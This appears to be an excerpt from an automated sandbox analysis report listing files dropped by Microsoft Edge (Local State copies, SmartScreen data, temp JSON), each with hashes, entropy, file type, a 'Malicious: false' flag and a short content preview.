SHA1:	A05BB3B3647986AFBB19951661996A1943A5E2C5
SHA-256:	3C736EBEE3E90E09176230967D5CA299C1780A36DEA8AEAD9D6D31984DF6B9F8
SHA-512:	15DD5FF87FF30EB8C6C292590F330E4E4E383FEE307A262C6ECD3FE5C643D38F0F6BFBDA6C9B7D88267B695849C7644B11BAF908D9431BC6A2C5264472434742
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41384.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09074410160948
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMzwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEH6ntbz8hu3VlXr4CRo1
MD5:	4E2000BC4580BB65AAB7FB71F15F1108
SHA1:	A05BB3B3647986AFBB19951661996A1943A5E2C5
SHA-256:	3C736EBEE3E90E09176230967D5CA299C1780A36DEA8AEAD9D6D31984DF6B9F8
SHA-512:	15DD5FF87FF30EB8C6C292590F330E4E4E383FEE307A262C6ECD3FE5C643D38F0F6BFBDA6C9B7D88267B695849C7644B11BAF908D9431BC6A2C5264472434742
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b840.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09074410160948
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMzwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEH6ntbz8hu3VlXr4CRo1
MD5:	4E2000BC4580BB65AAB7FB71F15F1108
SHA1:	A05BB3B3647986AFBB19951661996A1943A5E2C5
SHA-256:	3C736EBEE3E90E09176230967D5CA299C1780A36DEA8AEAD9D6D31984DF6B9F8
SHA-512:	15DD5FF87FF30EB8C6C292590F330E4E4E383FEE307A262C6ECD3FE5C643D38F0F6BFBDA6C9B7D88267B695849C7644B11BAF908D9431BC6A2C5264472434742
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.018771593779723
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclQadWSGXy:YWLSGTt1o9LuLgfGBPAzkVj/T8lQ0Ay
MD5:	60ABDED46474313F38B9CD9B716D7E78
SHA1:	DD2C6DD1B0A1786EE691F512B4D341E4C76C0D68
SHA-256:	A498F503FDB10A5B7CF1935321C4A414CCCAF0893FA54B367806DD6E80BDEB39
SHA-512:	E0EA118D3699AE53358C444DB278F8C9419AB819D7A8D6E2CB50B54FA83254AAD5EEA88CB65FC240F2F0AF852A07D7793DD25F0884D359DEF14A9647F04C0503
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1735384837357132}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b77491ad-dd27-4bfa-931d-96aebc05c68b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45618
Entropy (8bit):	6.087246311279642
Encrypted:	false
SSDEEP:	768:eMkbJrT8IeQc5d9f3TVuFUhDO6vP6Olesg+ExLVyAbVdGNCAoYGoup1Xl3jVzXr/:eMk1rT8H19fjy6eLVnh8NRoYhu3VlXr/
MD5:	ED9EA7088A20DA5BDDF686390CFED7FA
SHA1:	3F2FD8FBFA5EE1C111AB2FE6928DD4183BACDA62
SHA-256:	A5B88D723578ED9B7561CC35A2AF2488DE47B68C436121F6834253080FEB14E6
SHA-512:	E63968AC6A027B6673FDDA993C5C9B1BD127E27735404E7E8E01528FFC189E28CD2352A1F77F0990D053FD0ABDF6DBFE1CB8E9DE4E28B80669C9C32A080D1738
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1735284036"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d577120e-5a64-4eb7-9851-a859cd59c0c3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44694
Entropy (8bit):	6.095942255868158
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB6wu9hDO6vP6Olesg+ExLcGoup1Xl3jVzXr4CCAo1:z/Ps+wsI7yOET6eLchu3VlXr4CRo1
MD5:	906F93676DAA44F0FA7D00A2BE11679E
SHA1:	8D3E2AE89CF708FB9B42C1B126716F763A744AD5
SHA-256:	7389B2AFB2EBEB5C0B6EBFB04A33C671FAEE1CF71D6EDE9950572D3B1937E93D
SHA-512:	A2089F4FE0C6662BF7FAA654A4F1B2841008A9180FDCE1A7D393897A3C8215FE96C149B9E3D988C4E6CE75457F2067F0C648CEBFE2FE82DDE1BD96EEB37EE9EB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e44f588e-b0c5-45f0-aaaf-a034894cfad8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45571
Entropy (8bit):	6.087376109167888
Encrypted:	false
SSDEEP:	768:eMkbJrT8IeQc5d9fBTVuFUhDO6vP6Olesg+ExLVyAbVdGNCAoYGoup1Xl3jVzXr/:eMk1rT8H19fty6eLVnh8NRoYhu3VlXr/
MD5:	52DF48E2282645222F65F1982888C367
SHA1:	E7F364055804E2744D44C8FBFF6D2191E71E8E15
SHA-256:	FFAAA0EE9D04FDD8A82B5F4301DFEF5ECA81691B78DE7D0DF6A3D8BE456B2982
SHA-512:	94999817173D180B14C6EAF54A38496EF1D7D318D23E87ED987423A5BC3A8ED6DF3B6C3E999E94B98F815C249BF3B3D0EA019FC35E67638D685834E7BF62C6EF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1735284036"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjT